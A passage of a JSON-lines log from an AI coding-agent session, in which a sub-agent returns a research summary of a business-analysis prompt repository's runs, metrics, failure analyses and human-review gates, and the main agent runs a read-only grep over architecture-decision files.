\"not_available\"\n[2026-09-29T07:49:38.110Z] [INFO]     },\n[2026-09-29T07:49:38.110Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:38.110Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:38.110Z] [INFO]   },\n[2026-09-29T07:49:38.110Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"uuid\": \"e62404fd-2569-429d-ad18-2e14a3f6cd58\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:38.103Z\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"request_id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:49:38.110Z] [INFO] }\n[2026-09-29T07:49:38.124Z] [INFO] {\n[2026-09-29T07:49:38.124Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:49:38.124Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:49:38.124Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:49:38.124Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:49:38.124Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:49:38.124Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:49:38.124Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:49:38.124Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:49:38.124Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:49:38.124Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:49:38.124Z] [INFO]         \"utilization\": 0.38,\n[2026-09-29T07:49:38.124Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:49:38.124Z] [INFO]       },\n[2026-09-29T07:49:38.124Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:49:38.124Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:49:38.124Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:49:38.124Z] [INFO]       }\n[2026-09-29T07:49:38.124Z] [INFO]     }\n[2026-09-29T07:49:38.124Z] [INFO]   },\n[2026-09-29T07:49:38.124Z] [INFO]   \"uuid\": \"71405d22-f657-4e82-9acc-5fc5925d1b34\",\n[2026-09-29T07:49:38.124Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.124Z] [INFO] }\n[2026-09-29T07:49:38.143Z] [INFO] {\n[2026-09-29T07:49:38.143Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"tasks\": [\n[2026-09-29T07:49:38.143Z] [INFO]     {\n[2026-09-29T07:49:38.143Z] [INFO]       \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:49:38.143Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:49:38.143Z] [INFO]       \"description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:49:38.143Z] [INFO]     }\n[2026-09-29T07:49:38.143Z] [INFO]   ],\n[2026-09-29T07:49:38.143Z] [INFO]   \"uuid\": \"de25faa2-f9eb-4362-b9e5-70eb13f1ac5a\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.143Z] [INFO] }\n[2026-09-29T07:49:38.146Z] [INFO] {\n[2026-09-29T07:49:38.146Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"patch\": {\n[2026-09-29T07:49:38.146Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T07:49:38.146Z] [INFO]     \"end_time\": 1790668178137\n[2026-09-29T07:49:38.146Z] [INFO]   },\n[2026-09-29T07:49:38.146Z] [INFO]   \"uuid\": \"fd125a4b-e68a-450a-b672-bd4f49b91b35\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.146Z] [INFO] }\n[2026-09-29T07:49:38.155Z] [INFO] {\n[2026-09-29T07:49:38.155Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"summary\": \"I wrote the full report to `/tmp/research-notes/mango_ba_prompts.md` and changed nothing in the repo. Every number below comes from the repo's files or git history. Two points first: the repo has no record of GigaCode or Cline at all, and it says outright that it has no golden set or evals yet.\\n\\n## Repo basics\\n- **Default branch:** `main` (checked via origin/HEAD), so links take the form `https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/`.\\n- **Commits:** 583 in total (174 merges, 409 others), from 53506bc on 2026-06-02 (\\\"Add files via upload\\\", README only) to 317a0a1 on 2026-09-28. Activity came in two bursts: June (267 commits) and August (269).\\n- **Authors:** konard, the AI issue-solver bot that turns GitHub issues into PRs, made 442 commits; Ivan Gulienko made 140. About 76% of commits are AI-authored under human-written tasks.\\n- **Structure:** it started as a spoke of the Hub repo `G-Ivan-A/hybrid-Intelligence-lab`. Main folders are `prompts/` (26 files), `patterns/` (7), `standards/` (20), `docs/` (ADRs, RFCs, reports), `kb/`, `runs/` (697 files), `scripts/` (60 validators and generators), `experiments/` (101), a `site/` web app, and CI in `.github/workflows/validate.yml`. The knowledge base moved to the sister repo `G-Ivan-A/mango-ba-ai-runtime` (issue #361, 2026-09-26).\\n\\n## Runs (counted with `ls -d runs/2026/RUN-*`)\\n- **Count:** 69 run folders, RUN-0001 to RUN-0069 with no gaps; each has a `metadata.yaml`.\\n- **Record layout:** `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/` (defined in `standards/runs-contract-standard.md`). 56 runs include a metrics block.\\n- **Type:** 48 are statistics-only (chat sessions recorded after the fact) and 21 are execution runs.\\n- **Status:** 37 draft, 19 \\\"works with edits\\\", 8 partial success, and only 2 marked success (RUN-0006, RUN-0060). Of the rest, one needs rework (RUN-0020), one is experimental and one is invalid (RUN-0063, later redone).\\n- **Dates:** run dates span 2026-04-10 to 2026-09-28. Git history only starts 2026-06-02, so the early runs were recorded afterwards from chat exports. For example, 25 exports became RUN-0030 to RUN-0054 in one commit (946e605).\\n- **Models:**\\n  - Early runs used the Qwen family in a web chat (qwen3.5\u20133.8, qwen3-max, qwen3-235b and others).\\n  - Later runs used the AI solver: claude-opus-5 (7 runs), claude-opus-5-5 (2), gpt-5.6-sol (4).\\n  - 10 runs don't record a model.\\n- **Authorship label:** it shifts from \\\"BA/AI\\\" to \\\"BA-IH + LLM\\\" to \\\"AI issue solver \u2026 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" (\\\"by the BA's task statement\\\").\\n- **Task categories:**\\n  - Prompt experiments and self-tests.\\n  - Generating and validating functional requirements (FRs) for BCREQ tickets and integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n  - Clarifying questions and meeting-transcript analysis.\\n  - Tender spec feasibility checks: Utair.Chat, STT/TTS/NLU, BCREQ-1114.\\n  - HH.ru \u2194 Mango contact-centre gap analysis (RUN-0056 to 0060).\\n  - Link-review statistics (RUN-0061).\\n\\n**Aggregated metrics.** These are self-reported by each run in its own format, so they are not a benchmark.\\n- 41 hallucinations were logged across 11 runs, and 12 of them ended up in the final artifacts.\\n- Where quality was scored (10 runs), it is 3 in every run except RUN-0028, which scored 2. RUN-0014 never produced its target artifact (5 defects, success rate 0.25).\\n- Success rate is recorded in 19 runs: average about 0.67, range 0.25\u20131.0.\\n- RUN-0013 alone: 75 of 121 answers (0.62) were accepted by the BA without edits; it used 79.4M input tokens over 242 turns and 44 days.\\n- Across the runs that record them: about 62.1M dialog tokens (33 runs), about 103.5 active hours (41 runs), 1,095 episodes (42 runs), 53 BA edits (10 runs).\\n- **Data quality problem:** RUN-0025's token numbers match RUN-0015's, so one was probably copied from the other. Don't quote those two runs' token figures without checking.\\n- **Later structured runs:**\\n  - RUN-0057: 101 requirements checked, 64 covered (0.63), 16 questions for the vendor.\\n  - RUN-0066: 386 requirements (338 yes / 34 partial / 14 no), 702 individual citations.\\n  - RUN-0068: 22 requirements (3 / 7 / 11 / 1 blank); spec rows checked character by character against a SHA-256-pinned transcription of the source screenshots.\\n\\n## How it evolved (git log)\\n1. **Jun 2\u20135, bootstrap:** moved out of the Hub.\\n2. **Jun 10\u201311, from one PDF to a standard:** a single prompt file, \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" (#54), was split into 23 standardized prompts (commit d8a4759, #56). A taxonomy of 13 cognitive operations \u00d7 9 BA processes followed (00d2072), plus prompt and pattern standards.\\n3. **Jun 13\u201316, method layer:** ADR-003 to ADR-010, including \\\"KB standard before RAG\\\" (ADR-007) and human gates (ADR-009, 1885f7d). **Turning point:** after the first real BA session (experiment 1027), prompt edits were rolled back to v0.1. From then on a prompt changes only via experiment \u2192 RFC \u2192 approval (2abf5e6, #101).\\n4. **Jun 17\u201320, infrastructure:** KB ingestion pipeline (#111), a CI regression validator, the `runs/` contract, and cascading context loading.\\n5. **Aug 17\u201322, measurement:** the vision was corrected to admit there are no evals (#263). RUN-0013 to 0029 were recorded in one day, followed by the metrics contract (#271), run types (#293), and a KB anti-hallucination cross-check (#310: 9,531 key tokens checked, 0 unconfirmed, plus a negative test).\\n6. **Aug 23\u201328, integration standard:** run templates as GitHub issue forms (#323). ADR-011 (1dcca69) introduced two output levels: L1 (one page for the customer) and L4 (detailed evidence for BA, SA and developers).\\n7. **Aug 31\u2013Sep 3, fail-closed citations and root-cause analysis:** a flawed run was reverted, page citations are now verified, and an A/B root-cause analysis was published (00295d5).\\n8. **Sep 26\u201328:** the KB moved to the runtime repo, and RUN-0068/0069 were checked against the source character by character.\\n\\n## Documented failure modes (strongest slide material)\\n- **A/B test on 65 identical rows** (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066):\\n\\n  | Measure | RUN-0065 | RUN-0066 |\\n  |---|---|---|\\n  | Correct verdicts | 47.7% | 100% |\\n  | Correct page citations | 37.8% | 64/64 |\\n  | Hallucinated page numbers | 43.1% | 0% |\\n\\n  The cause was page numbers kept in a hand-made lookup table, while the validator only checked the link's format, not its content.\\n- **KB assessment error analysis** (issue #349): one run narrowed the source of truth to 3 modules and so reported \\\"missing data\\\" as \\\"missing capability\\\". In both flawed runs the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\" (\\\"locked the error in\\\"). New rule: search the whole KB index first, then only trusted Mango web domains, and answer \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" (\\\"no data\\\") only with an escalation log.\\n- **RUN-0064 error analysis:** 8 errors \u2014 3 contract violations, 2 missing contracts, 2 ambiguous prompts, 1 technical limit. Examples:\\n  - Features that already exist were written up as new requirements.\\n  - A hypothesis was presented as fact.\\n  - A screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\" was ignored.\\n  - The run stopped at questions with no final FR.\\n\\n  Root cause: no gate between \\\"current state\\\" and \\\"required change\\\". Fix: a mandatory chain SSOT \u2192 current state \u2192 delta \u2192 FR \u2192 acceptance criterion, which blocks (fail-closed) when the source is empty.\\n- **Hallucinated standard:** \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (\\\"GOST 34.602-2015 does not exist\\\"), in `kb/practices/source-backed-analysis.md`.\\n- **Honest gap:** \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (\\\"evals and golden set are missing\\\"), in `README.md`, `ai-governance/ai-governance.md:90` and `pr-ops/BACKLOG.md:324`. Many runs are explicitly labelled \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (\\\"not a golden case\\\").\\n- **Governing rule:** every BA operation must have a checklist, an eval metric or a human gate; \\\"\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439\\\" (\\\"an operation without a verification process is considered incomplete\\\").\\n\\n## Target pipeline, mapped to repo artifacts\\n- **Normalizing input:** ADR-011 steps 1\u20132 (download the spec, record a checksum, split it into numbered sub-items with verbatim quotes). RUN-0068 adds a transcription file with SHA-256 per screenshot and a validator that fails on a single-character change.\\n- **Checking against documentation:** a citation format pinned to a specific KB commit, a quote checker (0 mismatches), and cross-checking PDF text extraction with two libraries.\\n- **Generating from templates with source links:** the 26 prompts and 7 patterns, whose frontmatter fixes temperature at 0.1. There is no formal golden set; instead some outputs are named as the reference (RUN-0060's L4 report is \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\", the reference form; RUN-0066 is the reference in the A/B study).\\n- **Human gate:** ADR-009 defines three gates \u2014 G1 (requirement structure), G2 (risk sign-off), G3 (approval and baselining) \u2014 and rule B3 says they \\\"\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\" (\\\"must not be passed automatically by an LLM\\\"). The quick rules state \\\"Structured = fail-closed \u2026 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\" (\\\"requests human review\\\"). RUN-0060 includes `human-review-checklist.md`.\\n- **Handing off to development:** ADR-011's L1 is one page for the customer (no JSON or API names allowed); L4 is for BA, SA and developers (JSON, diagrams, mappings). RUN-0060's L4 has 10 FR sections, 27 spec sub-items, 11 activity diagrams and 53 source footnotes. **I found no Jira or task-tracker export.**\\n\\n## Where it runs\\n- GigaCode and Cline appear nowhere in this repo, so their use can't be shown from it. Your working repo's backlog items B-219 to B-222 mention a GigaCode guide, but I didn't look into that.\\n- Early runs used the Qwen web chat: \\\"qwen3.7-plus \u2026 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\\\" in RUN-0014, and \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, auto_search: true) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\" (\\\"external chat \u2026 with no KB connected\\\") in RUN-0018.\\n- Later runs used the GitHub issue \u2192 PR AI solver with Claude Code (RUN-0067) and OpenAI Codex (RUN-0064, redacted trace in `docs/report/evidence/`).\\n- Supporting tools: local Python validators, a Makefile, GitHub Actions CI, and a GitHub Pages site.\\n\\n## Not determined\\n- There are no evals or golden-set results anywhere to cite.\\n- Metrics are self-reported in mixed formats (quality appears to be on a 1\u20135 scale, but this isn't stated), so any cross-run average is only indicative.\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"usage\": {\n[2026-09-29T07:49:38.155Z] [INFO]     \"total_tokens\": 33332,\n[2026-09-29T07:49:38.155Z] [INFO]     \"tool_uses\": 33,\n[2026-09-29T07:49:38.155Z] [INFO]     \"duration_ms\": 315840\n[2026-09-29T07:49:38.155Z] [INFO]   },\n[2026-09-29T07:49:38.155Z] [INFO]   \"uuid\": \"a7d3991b-1b83-472d-a3b8-b645e6ab9b07\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.155Z] [INFO] }\n[2026-09-29T07:49:38.165Z] [INFO] \ud83e\udd16 Sub-agent \"Analyze mango_ba_prompts history\" completed: 33332 total tokens\n[2026-09-29T07:49:39.484Z] [INFO] {\n[2026-09-29T07:49:39.484Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:39.484Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:39.484Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:49:39.484Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:39.484Z] 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research\"\n[2026-09-29T07:49:40.963Z] [INFO] }\n[2026-09-29T07:49:42.412Z] [INFO] {\n[2026-09-29T07:49:42.412Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"message\": {\n[2026-09-29T07:49:42.412Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"id\": \"msg_011CfXN53rgz4g9R6qiruH7q\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"content\": [\n[2026-09-29T07:49:42.412Z] [INFO]       {\n[2026-09-29T07:49:42.412Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"id\": \"toolu_017DtjUMtKabwGkRr5xABHFY\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"input\": {\n[2026-09-29T07:49:42.412Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; ls docs/adr | grep -E \\\"013|014\\\"; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n -i \\\"\u043f\u0440\u043e\u043c\u043f\u0442\\\" $F | head -15 | cut -c1-300; grep -n \\\"RUN-0059\\\\|RUN-0060\\\" $F | head -6 | cut -c1-400; grep -c \\\"^  - id\\\\|^- id\\\" projects/ba-ai-process/ba-meta-model/product-taxonomy/*.yaml\",\n[2026-09-29T07:49:42.412Z] [INFO]           \"description\": \"Verify ADR paths, quotes and run facts\"\n[2026-09-29T07:49:42.412Z] [INFO]         },\n[2026-09-29T07:49:42.412Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:42.412Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:42.412Z] [INFO]         }\n[2026-09-29T07:49:42.412Z] [INFO]       }\n[2026-09-29T07:49:42.412Z] [INFO]     ],\n[2026-09-29T07:49:42.412Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:42.412Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_creation_input_tokens\": 11322,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_read_input_tokens\": 62053,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:42.412Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:42.412Z] [INFO]         \"ephemeral_1h_input_tokens\": 11322\n[2026-09-29T07:49:42.412Z] [INFO]       },\n[2026-09-29T07:49:42.412Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:49:42.412Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:42.412Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:42.412Z] [INFO]     },\n[2026-09-29T07:49:42.412Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:42.412Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:42.412Z] [INFO]   },\n[2026-09-29T07:49:42.412Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:42.412Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"uuid\": \"8e88e438-f9dd-4af1-b7de-ab40bad8b653\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:42.404Z\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"request_id\": \"req_011CfXN53RQFrsSZHdNHJ8Aw\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:42.412Z] [INFO]     \"toolu_017DtjUMtKabwGkRr5xABHFY\": {\n[2026-09-29T07:49:42.412Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; ls docs/adr | grep -E \\\"013|014\\\"; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n -i \\\"\u043f\u0440\u043e\u043c\u043f\u0442\\\" $F | head -15 | cut -c1-300; grep -n \\\"RUN-0059\\\\|RUN-0060\\\" $F | head -6 | cut -c1-400; grep -c \\\"^  - id\\\\|^- id\\\" projects/ba-ai-process/ba-meta-model/product-taxonomy/*.yaml\",\n[2026-09-29T07:49:42.412Z] [INFO]       \"description\": \"Verify ADR paths, quotes and run facts\"\n[2026-09-29T07:49:42.412Z] [INFO]     }\n[2026-09-29T07:49:42.412Z] [INFO]   }\n[2026-09-29T07:49:42.412Z] [INFO] }\n[2026-09-29T07:49:44.115Z] [INFO] {\n[2026-09-29T07:49:44.115Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"message\": {\n[2026-09-29T07:49:44.115Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"content\": [\n[2026-09-29T07:49:44.115Z] [INFO]       {\n[2026-09-29T07:49:44.115Z] [INFO]         \"tool_use_id\": \"toolu_017DtjUMtKabwGkRr5xABHFY\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"content\": \"2026-09-adr-013-run-modes-deprecation.md\\n2026-09-adr-014-legacy-evidence-not-baseline.md\\n125:| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n126:| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n360:- `[BCREQ-765 / RUN-0059]` HH.ru\u2194Mango architecture spike\\n361:- `[BCREQ-765 / RUN-0060]` combined HH.ru L4 report\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml:0\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml:0\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:44.115Z] [INFO]       }\n[2026-09-29T07:49:44.115Z] [INFO]     ]\n[2026-09-29T07:49:44.115Z] [INFO]   },\n[2026-09-29T07:49:44.115Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:44.115Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"uuid\": \"fd92c024-1443-4ab8-ab54-1811e88cb2b8\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:44.109Z\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:44.115Z] [INFO]     \"stdout\": \"2026-09-adr-013-run-modes-deprecation.md\\n2026-09-adr-014-legacy-evidence-not-baseline.md\\n125:| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n126:| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n360:- `[BCREQ-765 / RUN-0059]` HH.ru\u2194Mango architecture spike\\n361:- `[BCREQ-765 / RUN-0060]` combined HH.ru L4 report\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml:0\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml:0\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:44.115Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:44.115Z] [INFO]     \"returnCodeInterpretation\": \"No matches found\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:44.115Z] [INFO]   }\n[2026-09-29T07:49:44.115Z] [INFO] }\n[2026-09-29T07:49:44.185Z] [STDOUT] [log_53d4c6] sending request {\n[2026-09-29T07:49:44.189Z] 